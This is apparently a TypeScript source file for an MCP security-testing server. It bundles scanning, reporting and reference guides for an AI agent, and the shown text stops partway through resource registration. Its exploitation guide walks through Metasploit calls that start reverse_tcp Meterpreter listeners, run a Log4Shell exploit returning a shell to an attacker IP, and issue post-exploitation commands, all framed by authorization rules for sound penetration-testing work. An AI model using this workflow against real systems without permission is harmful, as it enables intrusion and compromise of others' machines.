/**
* Static Resources
*
* Bundled methodology guides and reference documentation.
* These don't change often and are shipped with the MCP server.
*/
import type { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';
// ============================================================================
// METHODOLOGY GUIDES
// ============================================================================
const METHODOLOGY_DISCOVERY = `# Attack Surface Discovery
Guide the AI agent to find everything that could be attacked in the codebase.
## Step 1: Detect Tech Stack
Check for these files to identify technologies:
| File | Technology |
|------|------------|
| package.json | Node.js - check for express, @nestjs/core, fastify |
| requirements.txt, pyproject.toml | Python - check for fastapi, django, flask |
| go.mod | Go |
| Cargo.toml | Rust |
| pom.xml, build.gradle | Java |
| Gemfile | Ruby |
| composer.json | PHP |
## Step 2: Find API Endpoints
Search for route definitions:
**Express/Node.js:**
\`\`\`bash
grep -rn "app\\.(get|post|put|delete|patch)" --include="*.ts" --include="*.js" src/
grep -rn "router\\.(get|post|put|delete|patch)" --include="*.ts" --include="*.js" src/
\`\`\`
**NestJS:**
\`\`\`bash
grep -rn "@(Get|Post|Put|Delete|Patch)" --include="*.ts" src/
\`\`\`
**FastAPI/Python:**
\`\`\`bash
grep -rn "@app\\.(get|post|put|delete)" --include="*.py" .
grep -rn "@router\\.(get|post|put|delete)" --include="*.py" .
\`\`\`
## Step 3: Find Environment Variables
Look for sensitive configuration:
\`\`\`bash
# Find .env files
find . -name ".env*" -not -path "*/node_modules/*"
# Search for env var usage in code
grep -rn "process\\.env\\." --include="*.ts" --include="*.js" src/
grep -rn "os\\.environ" --include="*.py" .
\`\`\`
**Sensitive patterns to flag:**
- DATABASE_URL, DB_PASSWORD
- API_KEY, SECRET_KEY, PRIVATE_KEY
- TOKEN, AUTH, CREDENTIAL
- AWS_*, STRIPE_*, SENDGRID_*
## Step 4: Find Infrastructure Files
\`\`\`bash
# Docker
find . -name "Dockerfile*" -o -name "docker-compose*.yml"
# Kubernetes
find . -name "*.yaml" -path "*/k8s/*" -o -name "*.yaml" -path "*/kubernetes/*"
find . -name "Chart.yaml" # Helm charts
# Terraform
find . -name "*.tf"
# CI/CD
find . -path "*/.github/workflows/*.yml"
find . -name ".gitlab-ci.yml"
\`\`\`
## Step 5: Count Dependencies
\`\`\`bash
# Node.js
cat package.json | jq '.dependencies | keys | length'
cat package.json | jq '.devDependencies | keys | length'
# Python
wc -l < requirements.txt
# Check for lockfiles (good security practice)
ls package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
\`\`\`
`;
const METHODOLOGY_SCANNING = `# Security Scanning
Guide the AI agent to run security scans and interpret results.
## ⚠️ MANDATORY: Tool Validation First
**CRITICAL:** Before running ANY security scans, tools MUST be installed and validated.
**DO NOT proceed with scanning if ANY required tools are missing.**
### Step 1: Check Tool Status
\`\`\`bash
trivy --version 2>/dev/null && echo "✅ Trivy: OK" || echo "❌ Trivy: MISSING"
semgrep --version 2>/dev/null && echo "✅ Semgrep: OK" || echo "❌ Semgrep: MISSING"
nuclei --version 2>/dev/null && echo "✅ Nuclei: OK" || echo "❌ Nuclei: MISSING"
\`\`\`
### Step 2: If ANY Tools Missing
**STOP scanning immediately.**
Tell the user:
"⚠️ Required security tools are missing. I need to install them before scanning.
This is a one-time setup that takes about 3-5 minutes.
I'll install the missing tools now..."
**Then use the \`validate-tools\` workflow prompt for guided installation.**
Or install manually - see security://reference/tool-requirements for instructions.
**DO NOT proceed to scanning until Step 3 is complete.**
### Step 3: Validate Tools Work
After installation, verify each tool works:
\`\`\`bash
# Quick validation
trivy fs --format json --severity CRITICAL . 2>/dev/null | head -c 100 && echo "✅ Trivy working" || echo "❌ Failed"
semgrep --version >/dev/null 2>&1 && echo "✅ Semgrep working" || echo "❌ Failed"
nuclei --version >/dev/null 2>&1 && nuclei -tl 2>/dev/null | head -5 && echo "✅ Nuclei working" || echo "❌ Failed"
\`\`\`
---
**IMPORTANT:** For guided step-by-step scanning, use the workflow prompts instead of this methodology:
- Use the \`scan\` prompt for comprehensive scanning
- Use the \`pre-push\` prompt for quick pre-commit checks
- Use the \`scan-live\` prompt for live target testing
This methodology is for reference only. Workflow prompts provide better guidance.
---
## Scan Order (Recommended)
Run scans in this order for best results:
### 1. Dependency Vulnerabilities (Trivy)
\`\`\`bash
trivy fs . --format json --severity CRITICAL,HIGH,MEDIUM 2>/dev/null
\`\`\`
**Explain to user:** "Checking if any of your dependencies have known security issues..."
**Parse results:**
- Look at \`.Results[].Vulnerabilities[]\`
- Key fields: VulnerabilityID, PkgName, InstalledVersion, FixedVersion, Severity
**Plain English summary:**
- "Found 3 critical vulnerabilities in your dependencies"
- "lodash 4.17.20 has CVE-2021-23337 - upgrade to 4.17.21"
### 2. Code Vulnerabilities (Semgrep)
\`\`\`bash
semgrep scan --config auto --json 2>/dev/null
\`\`\`
**Explain to user:** "Analyzing your code for security issues like SQL injection, XSS..."
**Parse results:**
- Look at \`.results[]\`
- Key fields: check_id, path, start.line, extra.message, extra.severity
**Plain English summary:**
- "Found potential SQL injection in src/api/users.ts line 45"
- "This could let attackers access your database"
### 3. Infrastructure Misconfigs (Trivy Config)
Only if Dockerfile, k8s, or Terraform files exist:
\`\`\`bash
trivy config . --format json --severity CRITICAL,HIGH,MEDIUM 2>/dev/null
\`\`\`
**Explain to user:** "Checking your Docker/Kubernetes/Terraform files for security issues..."
## Summarizing Results
After all scans, provide a clear summary:
\`\`\`
SECURITY SCAN RESULTS
=====================
Critical Issues (fix before deploy): 3
- CVE-2021-23337 in lodash - upgrade to 4.17.21
- SQL injection in src/api/users.ts:45
- AWS key exposed in config/aws.js
High Issues (fix soon): 5
- [list them]
Medium Issues (review when possible): 12
- [summarize]
Next Steps:
1. I can help you fix the critical issues one by one
2. Run "git diff" to see what changed after fixes
3. Re-run scan to verify fixes
\`\`\`
`;
const METHODOLOGY_VALIDATION = `# Live Target Validation
Guide the AI agent to test a running application for vulnerabilities.
## Step 0: Authorization Check (MANDATORY)
**CRITICAL:** Before ANY live testing, ask the user:
"I need to confirm you have authorization to test this target.
Is this YOUR application or do you have written permission to test it?"
**Only proceed if they confirm authorization.**
Unauthorized access to computer systems is illegal.
## Step 1: Tool Validation (MANDATORY)
**CRITICAL:** Live testing requires nuclei. Check if it's installed:
\`\`\`bash
nuclei --version 2>/dev/null && echo "✅ Nuclei: OK" || echo "❌ Nuclei: MISSING"
\`\`\`
**If nuclei is missing:**
Tell the user:
"⚠️ Live security testing requires nuclei, which is not installed.
I'll install it now (takes < 2 minutes)..."
**Install nuclei immediately:**
**macOS:**
\`\`\`bash
brew install nuclei
nuclei -update-templates
nuclei --version
\`\`\`
**Linux:**
\`\`\`bash
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates
nuclei --version
\`\`\`
**If installation fails:**
- STOP the live testing workflow
- Explain the issue to the user
- Suggest manual testing with curl or browser
**DO NOT proceed with live testing if nuclei is not working.**
---
**IMPORTANT:** For guided step-by-step live testing, use the workflow prompts:
- Use the \`scan-live\` prompt for testing your dev server
- Use the \`scan-url\` prompt for testing a specific URL
This methodology is for reference only. Workflow prompts provide better guidance.
---
## Option 1: User Provides URL
If user provides a URL like https://staging.example.com:
\`\`\`bash
# First, verify target is reachable
curl -I https://staging.example.com 2>/dev/null | head -5
# Run nuclei with safe templates only
nuclei -u https://staging.example.com -t technologies/ -t exposures/ -json 2>/dev/null
\`\`\`
## Option 2: Start Dev Server
If user wants to test localhost:
### Detect Start Command
Check package.json for start scripts:
\`\`\`bash
cat package.json | jq '.scripts | keys[]' | grep -E "(dev|start|serve)"
\`\`\`
Common patterns:
- \`npm run dev\` / \`pnpm dev\` / \`yarn dev\`
- \`npm start\`
- \`python manage.py runserver\`
- \`python -m flask run\`
- \`go run main.go\`
### Start Server in Background
\`\`\`bash
# Start and capture port
npm run dev &
DEV_PID=$!
sleep 5 # Wait for startup
# Find the port (usually in output or default 3000/8000)
\`\`\`
### Run Nuclei Against Localhost
\`\`\`bash
nuclei -u http://localhost:3000 -t technologies/ -t exposures/ -json 2>/dev/null
\`\`\`
### Stop Server
\`\`\`bash
kill $DEV_PID 2>/dev/null
\`\`\`
## Safe vs Dangerous Templates
**SAFE to run (informational):**
- technologies/ - Detect what software is running
- exposures/ - Find exposed panels, files
- misconfiguration/ - Check for misconfigs
**DANGEROUS (only with explicit permission):**
- cves/ - Attempt to exploit known CVEs
- vulnerabilities/ - Active exploitation attempts
## Interpreting Results
Nuclei outputs JSON with:
- \`template-id\`: What was detected
- \`info.name\`: Human-readable name
- \`info.severity\`: info/low/medium/high/critical
- \`matched-at\`: URL where found
**Plain English:**
- "Found exposed .git directory - attackers could download your source code"
- "Detected PHP version 7.2 - this version has known vulnerabilities"
`;
const METHODOLOGY_REPORTING = `# Security Report Structure
Guide the AI agent to create a clear, actionable report.
## Report Format
\`\`\`markdown
# Security Assessment Report
**Project:** [project name]
**Date:** [date]
**Scanned by:** [AI agent name]
## Executive Summary
[2-3 sentences for non-technical readers]
- Overall risk level: HIGH/MEDIUM/LOW
- Critical issues found: X
- Recommended: Fix critical issues before deploying
## Critical Issues (Fix Immediately)
### 1. [Issue Title]
**What:** [Plain English explanation]
**Where:** [File:line or URL]
**Risk:** [What could happen if exploited]
**Fix:** [How to fix it]
[Repeat for each critical issue]
## High Priority Issues
[Same format as critical]
## Medium/Low Priority Issues
[Brief list - can be fixed later]
## What Was Scanned
- Dependency vulnerabilities (Trivy)
- Code security issues (Semgrep)
- Infrastructure misconfigs (Trivy)
- Runtime security testing (Nuclei)
- [Attack surface analysis if performed]
## Recommendations
1. Fix all critical issues before next deploy
2. Set up automated scanning in CI/CD
3. Review high priority issues within [timeframe]
## Next Steps
Would you like me to:
1. Help fix these issues one by one?
2. Set up automated scanning for future PRs?
3. Explain any finding in more detail?
\`\`\`
`;
const METHODOLOGY_EXPLOITATION = `# Exploitation Methodology
**⚠️ CRITICAL: AUTHORIZATION REQUIRED ⚠️**
Never exploit without explicit authorization. Only test:
- Systems you own, OR
- Systems with written permission to test
Unauthorized access to computer systems is illegal. Always verify authorization before proceeding.
---
## Phase 1: Pre-Exploitation Checks
Before ANY exploitation attempt:
1. **Verify Authorization**
- Confirm with user: "Do you own this system OR have written permission to test it?"
- Document authorization scope (IP ranges, domains, time windows)
- If no authorization: STOP immediately
2. **Define Scope**
- Target systems (specific IPs/domains)
- Allowed/forbidden actions
- Time constraints
- Data handling rules
3. **Establish Rules of Engagement**
- What is allowed (read-only evidence gathering)
- What is forbidden (data modification, persistence, DoS)
- Escalation path if issues arise
- Communication channel for approval
---
## Phase 2: Discovery & Reconnaissance
Use Metasploit auxiliary modules for safe reconnaissance:
### Port Scanning
\`\`\`bash
# Scan for open ports
run_auxiliary_module(
module_name="auxiliary/scanner/portscan/tcp",
options={"RHOSTS": "192.168.1.100", "PORTS": "1-1000"}
)
\`\`\`
### Service Detection
\`\`\`bash
# Detect web server version
run_auxiliary_module(
module_name="auxiliary/scanner/http/http_version",
options={"RHOSTS": "192.168.1.100", "RPORT": 80}
)
# Detect SSH version
run_auxiliary_module(
module_name="auxiliary/scanner/ssh/ssh_version",
options={"RHOSTS": "192.168.1.100"}
)
\`\`\`
### Correlate with CVE Database
- Match discovered versions with Trivy CVE scan results
- Identify which CVEs apply to running services
- Prioritize high/critical vulnerabilities
---
## Phase 3: Exploit Selection
### Search for Exploits
\`\`\`bash
# Search by CVE
list_exploits(search_term="CVE-2021-44228")
# Search by service/software
list_exploits(search_term="apache httpd")
# Search by platform
list_exploits(search_term="linux kernel")
\`\`\`
### Evaluate Exploit Suitability
Consider:
- **Reliability Rating**: Excellent > Great > Good > Normal > Average > Low
- **Target OS/Version Match**: Exact match preferred
- **Payload Compatibility**: Does it support needed payload?
- **Side Effects**: Risk of DoS or service disruption
- **Requirements**: Special conditions needed?
### Example Evaluation
\`\`\`
Exploit: exploit/multi/http/log4shell_header_injection
Rank: Excellent
Targets: Log4j 2.0-2.14.1
Reliability: High
Side effects: None (safe to run)
Requirements: Outbound network access from target
Decision: ✅ Good candidate
\`\`\`
---
## Phase 4: Payload Selection
### List Compatible Payloads
\`\`\`bash
# List payloads by platform
list_payloads(platform="linux", arch="x64")
list_payloads(platform="windows", arch="x64")
list_payloads(platform="python") # For Python-based targets
\`\`\`
### Choose Based On
1. **Target OS**: Linux, Windows, macOS, etc.
2. **Network Topology**:
- Target behind NAT/firewall → Use reverse shell
- Direct access → Can use bind shell
3. **Post-Exploitation Needs**:
- Full Meterpreter for advanced features
- Shell payload for simple command execution
### Recommended Payloads
- **Windows**: \`windows/x64/meterpreter/reverse_tcp\`
- **Linux**: \`linux/x64/meterpreter/reverse_tcp\`
- **Python**: \`python/meterpreter/reverse_tcp\`
- **PHP**: \`php/meterpreter/reverse_tcp\`
---
## Phase 5: Listener Setup
**⚠️ CRITICAL: Start listener BEFORE running exploit**
### Start Listener
\`\`\`bash
start_listener(
payload_type="linux/x64/meterpreter/reverse_tcp",
lhost="<YOUR_IP>", # Your machine's IP
lport=4444, # Port you're listening on
exit_on_session=false # Keep listening for multiple sessions
)
\`\`\`
### Verify Listener
\`\`\`bash
# Check listener is running
list_listeners()
# Should show:
# Job ID: 0
# Handler: linux/x64/meterpreter/reverse_tcp
# Listening on: 0.0.0.0:4444
\`\`\`
**Note the Job ID** - you'll need it for cleanup later.
---
## Phase 6: Exploit Execution
### Configure and Execute
\`\`\`bash
run_exploit(
module_name="exploit/unix/webapp/example_rce",
options={
"RHOSTS": "192.168.1.100", # Target IP
"RPORT": 8080, # Target port
"TARGETURI": "/vulnerable", # Vulnerable endpoint
},
payload_name="linux/x64/meterpreter/reverse_tcp",
payload_options={
"LHOST": "10.0.0.5", # YOUR IP (same as listener)
"LPORT": 4444, # YOUR PORT (same as listener)
}
)
\`\`\`
### Monitor Progress
- Watch for "Session 1 opened" message
- Session ID will be needed for post-exploitation
- Record all output as evidence
### Error Handling
- **Exploit Failed**: Try different exploit or payload
- **Session Died**: Check network connectivity, firewall rules
- **Permission Denied**: Document the access level achieved
- **Scope Exceeded**: STOP immediately and ask user
---
## Phase 7: Post-Exploitation (if approved)
**Only proceed if user has explicitly approved post-exploitation.**
### Gather Evidence ONLY
**✅ ALLOWED Actions:**
\`\`\`bash
# System information
send_session_command(session_id=1, command="whoami")
send_session_command(session_id=1, command="hostname")
send_session_command(session_id=1, command="uname -a")
# Network information
send_session_command(session_id=1, command="ifconfig")
send_session_command(session_id=1, command="ip addr")
# User context
send_session_command(session_id=1, command="id")
send_session_command(session_id=1, command="groups")
# Proof of access (directory listing)
send_session_command(session_id=1, command="ls -la /home")
send_session_command(session_id=1, command="pwd")
\`\`\`
**❌ FORBIDDEN Actions:**
- DO NOT modify or delete files
- DO NOT install backdoors or persistence
- DO NOT pivot to other systems (unless explicitly approved)
- DO NOT exfiltrate sensitive data
- DO NOT disrupt services
- DO NOT create, modify, or delete users
### Post-Exploitation Modules
If approved, use read-only enumeration modules:
\`\`\`bash
# Linux enumeration
run_post_module(
module_name="post/linux/gather/enum_system",
session_id=1
)
# Windows enumeration
run_post_module(
module_name="post/windows/gather/enum_logged_on_users",
session_id=1
)
\`\`\`
---
## Phase 8: Cleanup
**CRITICAL: Always clean up before finishing**
### Close Sessions
\`\`\`bash
# Terminate session gracefully
terminate_session(session_id=1)
# Verify closed
list_active_sessions() # Should be empty
\`\`\`
### Stop Listeners
\`\`\`bash
# Stop listener job
stop_job(job_id=0)
# Verify stopped
list_listeners() # Should be empty
\`\`\`
### Document Actions
Record in ExploitResult:
- Exploit module used
- Payload configuration
- Session ID (if successful)
- Evidence collected
- Commands executed
- Post-exploitation findings
- Cleanup verification
---
## Safety Rules
### ✅ DO:
1. Get explicit approval before exploitation
2. Document every action taken
3. Gather evidence only (read-only)
4. Clean up completely (close sessions, stop listeners)
5. Stop immediately if scope is exceeded
6. Report findings immediately to stakeholders
### ❌ DON'T:
1. Modify or delete target data
2. Install persistence mechanisms or backdoors
3. Test without authorization
4. Pivot to other systems without approval
5. Leave sessions or listeners open
6. Exfiltrate sensitive data
7. Cause service disruption (DoS)
---
## Error Handling Guide
| Error | Likely Cause | Resolution |
|-------|--------------|------------|
| Exploit failed | Wrong target version, missing requirements | Try different exploit or verify target version |
| Session died immediately | Firewall/IDS blocked callback | Check network path, try different port |
| Permission denied | Exploit didn't escalate privileges | Document access level achieved, try privilege escalation |
| Listener not reachable | NAT/firewall blocking | Verify LHOST is reachable from target |
| Scope exceeded | Accidentally targeted wrong system | STOP immediately, inform user |
---
## Complete Workflow Example
### Scenario: Exploit validated Log4Shell (CVE-2021-44228) finding
\`\`\`bash
# 1. AUTHORIZATION CHECK
# Confirm with user: "Do you own target 192.168.1.100 or have written permission?"
# User confirms: YES
# 2. SEARCH FOR EXPLOIT
list_exploits(search_term="CVE-2021-44228")
# Returns: exploit/multi/http/log4shell_header_injection
# 3. LIST COMPATIBLE PAYLOADS
list_payloads(platform="linux", arch="x64")
# Choose: linux/x64/meterpreter/reverse_tcp
# 4. START LISTENER (before exploit!)
start_listener(
payload_type="linux/x64/meterpreter/reverse_tcp",
lhost="10.0.0.5",
lport=4444
)
# Note Job ID: 0
# 5. EXECUTE EXPLOIT
run_exploit(
module_name="exploit/multi/http/log4shell_header_injection",
options={
"RHOSTS": "192.168.1.100",
"RPORT": 8080,
"TARGETURI": "/",
},
payload_name="linux/x64/meterpreter/reverse_tcp",
payload_options={
"LHOST": "10.0.0.5",
"LPORT": 4444
}
)
# Result: Session 1 opened!
# 6. GATHER EVIDENCE (if user approved post-exploitation)
send_session_command(session_id=1, command="whoami")
# Output: tomcat
send_session_command(session_id=1, command="hostname")
# Output: web-server-01
send_session_command(session_id=1, command="uname -a")
# Output: Linux web-server-01 5.4.0-42-generic x86_64 GNU/Linux
# 7. CLEANUP
terminate_session(session_id=1)
stop_job(job_id=0)
list_active_sessions() # Verify empty
# 8. DOCUMENT
# Create ExploitResult with all findings
\`\`\`
---
## Reporting Results
Document in **ExploitResult** object:
\`\`\`typescript
{
id: "exploit-1234567890",
finding: <reference to ValidatedFinding>,
success: true,
sessionId: 1,
evidence: [
{
type: "output",
description: "System information",
data: "whoami: tomcat\\nhostname: web-server-01\\nuname: Linux 5.4.0-42"
},
{
type: "screenshot",
description: "Meterpreter session established",
data: "<base64 encoded screenshot if available>"
}
],
postExploitData: {
systemInfo: "Linux web-server-01 5.4.0-42-generic x86_64",
user: "tomcat",
privileges: "user-level access",
networkInfo: "eth0: 192.168.1.100/24"
},
exploitModule: "exploit/multi/http/log4shell_header_injection",
payloadUsed: "linux/x64/meterpreter/reverse_tcp",
targetHost: "192.168.1.100:8080",
executedAt: "2024-01-15T10:30:00Z"
}
\`\`\`
---
## Final Reminder
**This is real exploitation with legal and ethical implications.**
- Only test authorized systems
- Document authorization
- Follow scope strictly
- Be professional
- Clean up thoroughly
- Report responsibly
Unauthorized access is illegal. Always verify permission before proceeding.
`;
// ============================================================================
// REFERENCE DOCUMENTATION
// ============================================================================
const REFERENCE_SEVERITY = `# Severity Levels Explained
## CRITICAL
**Meaning:** Immediate exploitation possible, severe impact
**Action:** Fix before ANY deployment
**Examples:**
- Remote code execution (RCE)
- SQL injection with data access
- Exposed admin credentials
- Known CVE with public exploit
**Tell user:** "This is a critical security issue. An attacker could exploit this right now. We need to fix it before deploying."
## HIGH
**Meaning:** Exploitation likely, significant impact
**Action:** Fix within 7 days, block deploy if possible
**Examples:**
- Cross-site scripting (XSS)
- Authentication bypass
- Sensitive data exposure
- Missing security headers
**Tell user:** "This is a high-severity issue. It's not immediately exploitable but could cause serious problems. Fix it soon."
## MEDIUM
**Meaning:** Exploitation requires specific conditions
**Action:** Fix within 30 days
**Examples:**
- Outdated dependencies (no known exploits)
- Information disclosure
- Missing rate limiting
- Weak cryptography
**Tell user:** "This is a medium-severity issue. It's not urgent but should be on your radar to fix."
## LOW
**Meaning:** Minor security impact
**Action:** Fix when convenient
**Examples:**
- Verbose error messages
- Missing minor headers
- Code style issues
**Tell user:** "This is a low-priority issue. Good to fix but won't cause problems if you don't."
`;
const REFERENCE_CWE_TOP_25 = `# CWE Top 25 Most Dangerous Software Weaknesses
Quick reference for explaining vulnerabilities to users.
## Injection Flaws
**CWE-89: SQL Injection**
- What: Attacker can run database commands
- Risk: Data theft, data deletion, full system access
- Fix: Use parameterized queries, ORMs
**CWE-78: OS Command Injection**
- What: Attacker can run system commands
- Risk: Full server compromise
- Fix: Never pass user input to shell commands
**CWE-79: Cross-Site Scripting (XSS)**
- What: Attacker injects malicious scripts
- Risk: Session hijacking, defacement, malware
- Fix: Escape output, use CSP headers
## Authentication Issues
**CWE-287: Improper Authentication**
- What: Login can be bypassed
- Risk: Unauthorized access
- Fix: Use proven auth libraries
**CWE-798: Hard-coded Credentials**
- What: Passwords in source code
- Risk: Anyone with code access has credentials
- Fix: Use environment variables, secrets managers
**CWE-306: Missing Authentication**
- What: Sensitive endpoints unprotected
- Risk: Unauthorized access
- Fix: Add authentication middleware
## Data Exposure
**CWE-200: Information Exposure**
- What: Sensitive data leaked
- Risk: Privacy violation, attack planning
- Fix: Minimize data exposure, proper error handling
**CWE-522: Weak Credentials**
- What: Passwords stored insecurely
- Risk: Credential theft
- Fix: Use bcrypt/argon2, never store plain text
## Access Control
**CWE-862: Missing Authorization**
- What: No permission checks
- Risk: Users access others' data
- Fix: Implement proper RBAC
**CWE-863: Incorrect Authorization**
- What: Permission checks flawed
- Risk: Privilege escalation
- Fix: Review and test all permission logic
`;
const REFERENCE_OWASP_TOP_10 = `# OWASP Top 10 (2021)
Quick reference for web application security risks.
## A01: Broken Access Control
**What it means:** Users can access things they shouldn't
**Example:** Regular user can access /admin endpoints
**Fix:** Implement proper authorization on every endpoint
## A02: Cryptographic Failures
**What it means:** Sensitive data not properly protected
**Example:** Passwords stored in plain text, HTTP instead of HTTPS
**Fix:** Use strong encryption, HTTPS everywhere
## A03: Injection
**What it means:** Untrusted data interpreted as code
**Example:** SQL injection, command injection
**Fix:** Parameterized queries, input validation
## A04: Insecure Design
**What it means:** Missing security requirements from the start
**Example:** No rate limiting on login, no account lockout
**Fix:** Threat modeling, security requirements
## A05: Security Misconfiguration
**What it means:** Insecure default settings, missing hardening
**Example:** Default passwords, verbose errors in production
**Fix:** Hardening guides, security headers
## A06: Vulnerable Components
**What it means:** Using libraries with known vulnerabilities
**Example:** Old version of lodash with prototype pollution
**Fix:** Regular dependency updates, scanning
## A07: Authentication Failures
**What it means:** Identity verification can be bypassed
**Example:** Weak passwords, no MFA, session fixation
**Fix:** Strong auth, MFA, secure session management
## A08: Data Integrity Failures
**What it means:** Data can be tampered without detection
**Example:** Unsigned cookies, no integrity checks on updates
**Fix:** Digital signatures, integrity verification
## A09: Security Logging Failures
**What it means:** Attacks not detected or logged
**Example:** No audit logs, logs without context
**Fix:** Comprehensive logging, monitoring, alerting
## A10: Server-Side Request Forgery (SSRF)
**What it means:** Server makes requests to attacker-controlled destinations
**Example:** URL parameter used to fetch internal resources
**Fix:** Validate URLs, whitelist allowed destinations
`;
const REFERENCE_BROWSER_OPTIONS = `# Browser Automation Options
For testing web applications, different tools are available depending on your environment.
## Option 1: Playwright MCP
**Best for:** Claude Code, Cursor, VS Code, most IDEs
**Setup:**
\`\`\`json
{
"mcpServers": {
"playwright": {
"command": "npx",
"args": ["@anthropic/playwright-mcp"]
}
}
}
\`\`\`
**Capabilities:**
- Navigate to URLs
- Click elements, fill forms
- Take screenshots
- Execute JavaScript
- Handle authentication flows
## Option 2: Antigravity Browser Agent
**Best for:** Google Antigravity IDE (built-in)
**Setup:** No setup required - built into the IDE
**Usage:** AI agent can directly control browser
## Option 3: Puppeteer (if in project)
**Best for:** Projects already using Puppeteer
**Check if available:**
\`\`\`bash
cat package.json | jq '.dependencies.puppeteer, .devDependencies.puppeteer'
\`\`\`
**Usage:** AI agent can write and run Puppeteer scripts
## Option 4: Manual Testing
**When to use:**
- No browser automation available
- Simple checks only needed
- User prefers to test manually
**AI provides:**
- Step-by-step testing instructions
- What to look for
- Expected vs problematic behavior
## Choosing the Right Option
AI agent should check in this order:
1. Is Playwright MCP configured? Use it
2. Is Antigravity IDE detected? Use Browser Agent
3. Is Puppeteer in dependencies? Use it
4. Fall back to manual testing instructions
`;
const REFERENCE_TOOL_REQUIREMENTS = `# Security Tool Requirements and Availability
## Required Tools for Security Scanning
| Tool | Purpose | Status Check | Required For |
|----------|--------------------------|------------------------|------------------|
| trivy | CVE/dependency scanning | \`trivy --version\` | scan, pre-push |
| semgrep | Static code analysis | \`semgrep --version\` | scan, pre-push |
| nuclei | Runtime testing | \`nuclei --version\` | scan (runtime) |
## Quick Tool Check
Before running any security scan, verify tools are installed:
\`\`\`bash
# Check all tools at once
echo "=== Security Tools Status ===" && \\
trivy --version 2>/dev/null && echo "✅ Trivy: INSTALLED" || echo "❌ Trivy: NOT INSTALLED" && \\
semgrep --version 2>/dev/null && echo "✅ Semgrep: INSTALLED" || echo "❌ Semgrep: NOT INSTALLED" && \\
nuclei --version 2>/dev/null && echo "✅ Nuclei: INSTALLED" || echo "❌ Nuclei: NOT INSTALLED"
\`\`\`
## What to Do If Tools Are Missing
### Option 1: Install Missing Tools (Recommended)
**Use the \`validate-tools\` workflow for guided installation.**
Or install manually:
#### macOS (Homebrew)
\`\`\`bash
brew install aquasecurity/trivy/trivy semgrep nuclei
\`\`\`
#### Linux (apt/wget)
\`\`\`bash
# Trivy
curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh -s -- -b /usr/local/bin
# Semgrep
pip3 install semgrep
# Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
export PATH=$PATH:$(go env GOPATH)/bin
nuclei -update-templates
\`\`\`
### Option 2: Proceed with Available Tools Only
**If trivy missing:**
- Skip CVE scanning
- Note in report: "⚠️ Automated CVE scanning unavailable (trivy not installed)"
- Recommend manual dependency review at https://deps.dev or https://snyk.io/vuln-db/
**If semgrep missing:**
- Perform manual code review focusing on OWASP Top 10 patterns
- Use grep for basic pattern matching
- Note in report: "⚠️ Automated code analysis unavailable (semgrep not installed)"
**If nuclei missing:**
- Cannot perform runtime testing
- Static analysis will miss many vulnerabilities
- Strongly recommend installing nuclei - runtime analysis is essential
### Option 3: Manual Security Review Only
If NO tools are installed, you can still perform:
- Manual code review for security anti-patterns
- Attack surface discovery (enumerate endpoints, auth flows, data flows)
- Architecture review for security design flaws
- Generate findings based on code inspection
**Note:** Manual review can be effective - it found all 8 vulnerabilities in the test case!
## Graceful Degradation Examples
### Example 1: No Trivy
Instead of:
\`\`\`bash
trivy fs . --format json --severity CRITICAL,HIGH,MEDIUM
\`\`\`
Do this:
1. Check package.json/requirements.txt/go.mod manually
2. Search for known vulnerable package patterns
3. Note in report: "⚠️ Automated CVE scanning unavailable. Manual dependency review performed."
### Example 2: No Semgrep
Instead of:
\`\`\`bash
semgrep scan --config auto --json
\`\`\`
Do this:
\`\`\`bash
# Search for SQL injection patterns
grep -rn "SELECT.*\$\|query.*\$\|execute.*\$" --include="*.js" --include="*.py" --include="*.php" .
# Search for XSS patterns
grep -rn "innerHTML\|outerHTML\|document.write" --include="*.js" --include="*.tsx" .
# Search for command injection
grep -rn "exec\|eval\|system\|shell_exec" --include="*.js" --include="*.py" .
\`\`\`
## Validation After Installation
After installing tools, validate they work:
\`\`\`bash
# Test trivy
trivy fs --format json --severity CRITICAL . 2>/dev/null | head -c 100 && echo "✅ Trivy working" || echo "❌ Trivy failed"
# Test semgrep
semgrep scan --config auto --json . 2>/dev/null | head -c 100 && echo "✅ Semgrep working" || echo "❌ Semgrep failed"
# Test nuclei
nuclei --version >/dev/null 2>&1 && nuclei -tl 2>/dev/null | head -5 && echo "✅ Nuclei working" || echo "❌ Nuclei failed"
\`\`\`
## Common Installation Issues
### 1. "command not found" after install
- Check PATH: \`echo $PATH\`
- Source shell config: \`source ~/.bashrc\` or \`source ~/.zshrc\`
- Try absolute path: \`/usr/local/bin/trivy --version\`
### 2. Permission denied
- Some steps need sudo
- Use \`sudo\` for installation commands
- Check file permissions: \`ls -la /usr/local/bin/trivy\`
### 3. Network timeout during install
- Check internet connection
- Try alternative installation method
- Use package manager cache if available
## Best Practices
1. **Run \`validate-tools\` workflow first** - ensures all tools are ready
2. **Keep tools updated** - security tools get frequent updates
3. **Document tool versions** - include in security reports
4. **Verify installations** - always test tools after installing
5. **Use official sources** - avoid third-party tool distributions
`;
// ============================================================================
// RESOURCE REGISTRATION
// ============================================================================
export function registerStaticResources(server: McpServer): void {
// Methodology guides
server.resource(
'security://methodology/discovery',
'security://methodology/discovery',
{ description: 'How to discover attack surface in a codebase', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: METHODOLOGY_DISCOVERY, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://methodology/scanning',
'security://methodology/scanning',
{ description: 'How to run security scans and interpret results', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: METHODOLOGY_SCANNING, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://methodology/validation',
'security://methodology/validation',
{ description: 'How to validate findings against live targets', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: METHODOLOGY_VALIDATION, mimeType: 'text/markdown' }]
})
);
server.resource(
'security://methodology/reporting',
'security://methodology/reporting',
{ description: 'How to structure security reports', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: METHODOLOGY_REPORTING, mimeType: 'text/markdown' }]
})
);
// Reference documentation
server.resource(
'security://reference/severity',
'security://reference/severity',
{ description: 'Explanation of CRITICAL/HIGH/MEDIUM/LOW severity levels', mimeType: 'text/markdown' },
async (uri) => ({
contents: [{ uri: uri.href, text: REFERENCE_SEVERITY, mimeType: 'text/markdown' }]
})
